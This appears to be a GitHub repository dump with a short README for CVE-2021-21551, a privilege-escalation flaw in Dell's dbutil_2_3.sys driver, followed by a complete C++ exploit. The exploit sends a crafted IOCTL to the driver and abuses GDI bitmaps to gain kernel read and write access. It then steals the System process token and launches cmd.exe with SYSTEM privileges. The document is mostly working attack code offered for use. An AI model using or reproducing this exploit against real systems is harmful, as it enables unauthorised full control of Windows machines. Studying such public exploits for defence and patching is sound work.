├── dbutil_2_3.sys ├── README.md └── Exploit.cpp /dbutil_2_3.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nanabingies/CVE-2021-21551/HEAD/dbutil_2_3.sys -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-21551 2 | Dell Driver EoP (CVE-2021-21551) 3 | 4 | # Description 5 | Dell dbutil_2_3.sys driver contains an insufficient access control vulnerability which may lead to escalation of privileges, denial of service, or information disclosure. Local authenticated user access is required. 6 | 7 | This exploit was tested on Windows 10 v1511. 8 | 9 | [Link to advisory](https://www.sentinelone.com/labs/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/) 10 | -------------------------------------------------------------------------------- /Exploit.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 5 | 6 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 7 | 8 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 9 | */ 10 | 11 | #include 12 | #include 13 | #include 14 | using namespace std; 15 | 16 | HBITMAP hWorker = NULL; 17 | HBITMAP hManager = NULL; 18 | DWORD64 ActiveProcessLinksOffset = 0x2f0; // 0x188; 19 | DWORD64 TokenOffset = 0x358; // 0x208; 20 | DWORD64 UniqueProcessIdOffset = 0x2e8; //0x180; 21 | 22 | const DWORD64 GetGdiAddress() { 23 | const DWORD64 Teb = reinterpret_cast(NtCurrentTeb()); 24 | DWORD64 Peb = *reinterpret_cast((PUCHAR)Teb + 0x60); 25 | DWORD64 Gdi = *reinterpret_cast((PUCHAR)Peb + 0xf8); 26 | return Gdi; 27 | } 28 | 29 | DWORD64 GetKernelAddress(HBITMAP hBitmap) { 30 | DWORD64 cell; 31 | cell = *reinterpret_cast(GetGdiAddress() + LOWORD(hBitmap) * 0x18); 32 | return cell; 33 | } 34 | 35 | VOID WriteKernelAddress(DWORD64 Address, DWORD64 Value) { 36 | DWORD64 writebuf = Address; 37 | SetBitmapBits(hManager, sizeof(DWORD64), &writebuf); 38 | SetBitmapBits(hWorker, sizeof(DWORD64), &Value); 39 | } 40 | 41 | VOID ReadKernelAddress(DWORD64 Address, BYTE * Value, DWORD64 len) { 42 | DWORD64 writebuf = Address; 43 | SetBitmapBits(hManager, sizeof(DWORD64), &writebuf); 44 | GetBitmapBits(hWorker, len, Value); 45 | } 46 | 47 | // Get base of ntoskrnl.exe 48 | ULONG64 GetNTOsBase() 49 | { 50 | ULONG64 Bases[0x1000]; 51 | DWORD needed = 0; 52 | ULONG64 krnlbase = 0; 53 | if (EnumDeviceDrivers((LPVOID*)& Bases, sizeof(Bases), &needed)) { 54 | krnlbase = Bases[0]; 55 | } 56 | return krnlbase; 57 | } 58 | 59 | // Get EPROCESS for System process 60 | DWORD64 PsInitialSystemProcess() 61 | { 62 | // load ntoskrnl.exe 63 | DWORD64 ntos = (DWORD64)LoadLibrary("ntoskrnl.exe"); 64 | // get address of exported PsInitialSystemProcess variable 65 | DWORD64 addr = (DWORD64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); 66 | FreeLibrary((HMODULE)ntos); 67 | DWORD64 res = 0; 68 | DWORD64 ntOsBase = GetNTOsBase(); 69 | // subtract addr from ntos to get PsInitialSystemProcess offset from base 70 | if (ntOsBase) { 71 | ReadKernelAddress(addr - ntos + ntOsBase, (BYTE*)& res, sizeof(DWORD64)); 72 | } 73 | return res; 74 | } 75 | 76 | // Get EPROCESS for current process 77 | DWORD64 PsGetCurrentProcess() 78 | { 79 | DWORD64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS 80 | 81 | // walk ActiveProcessLinks until we find our Pid 82 | LIST_ENTRY ActiveProcessLinks; 83 | DWORD64 MyLink; 84 | 85 | ReadKernelAddress(pEPROCESS + UniqueProcessIdOffset + sizeof(DWORD64), (BYTE*)& ActiveProcessLinks, sizeof(LIST_ENTRY)); 86 | 87 | DWORD64 res = 0; 88 | 89 | while (TRUE) { 90 | DWORD64 UniqueProcessId = 0; 91 | 92 | // adjust EPROCESS pointer for next entry 93 | pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - UniqueProcessIdOffset - sizeof(DWORD64); 94 | 95 | // get pid 96 | ReadKernelAddress(pEPROCESS + UniqueProcessIdOffset, (BYTE*)& UniqueProcessId, sizeof(DWORD64)); 97 | 98 | // is this our pid? 99 | if (GetCurrentProcessId() == UniqueProcessId) { 100 | res = pEPROCESS; 101 | break; 102 | } 103 | // get next entry 104 | ReadKernelAddress(pEPROCESS + UniqueProcessIdOffset + sizeof(DWORD64), (BYTE*)& ActiveProcessLinks, sizeof(LIST_ENTRY)); 105 | 106 | // if next same as last, we reached the end 107 | if (pEPROCESS == (DWORD64)(ActiveProcessLinks.Flink) - UniqueProcessIdOffset - sizeof(DWORD64)) 108 | break; 109 | } 110 | return res; 111 | } 112 | 113 | VOID Trigger() { 114 | BYTE buf[0x64 * 0x64 * 4]; 115 | hManager = CreateBitmap(0x64, 0x64, 1, 32, &buf); 116 | hWorker = CreateBitmap(0x64, 0x64, 1, 32, &buf); 117 | if (hManager == NULL || hWorker == NULL) { 118 | cout << "[-] CreateBitmap Failed.\n"; 119 | exit(-1); 120 | } 121 | 122 | DWORD64 hManagerKernelAddress = GetKernelAddress(hManager); 123 | DWORD64 hWorkerKernelAddress = GetKernelAddress(hWorker); 124 | cout << "[+] Manager Kernel Address : 0x" << hex << hManagerKernelAddress << endl; 125 | cout << "[+] Worker Kernel Address : 0x" << hex << hWorkerKernelAddress << endl << endl; 126 | 127 | DWORD64 hManagerPvScan0 = hManagerKernelAddress + 0x50; 128 | DWORD64 hWorkerPvScan0 = hWorkerKernelAddress + 0x50; 129 | cout << "[+] Worker PvScan0 Address : 0x" << hex << hWorkerPvScan0 << endl; 130 | cout << "[+] Manager PvScan0 Address : 0x" << hex << hManagerPvScan0 << endl << endl;; 131 | 132 | cout << "[+] Writing Worker PvScan0 Address to Manager PvScan0 Address.\n"; 133 | 134 | BYTE payload[0x28] = { 0x0 }; 135 | memcpy((payload + 0x18), (void*)& hWorkerPvScan0, sizeof(DWORD64)); 136 | memcpy((payload + 0x8), (void*)& hManagerPvScan0, sizeof(DWORD64)); 137 | memset(payload + 0x20, 0x8, 1); 138 | 139 | BYTE out[0x28] = { 0 }; 140 | DWORD returnedBytes = 0x0; 141 | 142 | HANDLE hFile = CreateFileA("\\\\.\\dbutil_2_3", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 143 | NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 144 | if (hFile == INVALID_HANDLE_VALUE) { 145 | cout << "[-] CreateFile Failed.\n"; 146 | exit(-1); 147 | } 148 | 149 | cout << "[+] Opened handle to device with value 0x" << hex << hFile << endl; 150 | getchar(); 151 | 152 | auto Ok = DeviceIoControl(hFile, 0x9B0C1EC8, (LPVOID)& payload, 0x28, &out, 0x28, &returnedBytes, NULL); 153 | if (!Ok) { 154 | cout << "[-] DeviceIoControl Failed.\n"; 155 | exit(-1); 156 | } 157 | 158 | cout << "[+] Successfully written Worker PvScan0 Address to Manager PvScan0 Address.\n\n"; 159 | } 160 | 161 | int main(int argc, char* argv[]) { 162 | Trigger(); 163 | 164 | ULONG64 SystemEPROCESS = PsInitialSystemProcess(); 165 | 166 | ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); 167 | 168 | ULONG64 SystemToken = 0; 169 | // read token from system process 170 | ReadKernelAddress(SystemEPROCESS + TokenOffset, (BYTE*)& SystemToken, sizeof(DWORD64)); 171 | 172 | // write token to current process 173 | WriteKernelAddress(CurrentEPROCESS + TokenOffset, (DWORD64)SystemToken); 174 | system("cmd.exe"); 175 | 176 | return 0; 177 | } 178 | --------------------------------------------------------------------------------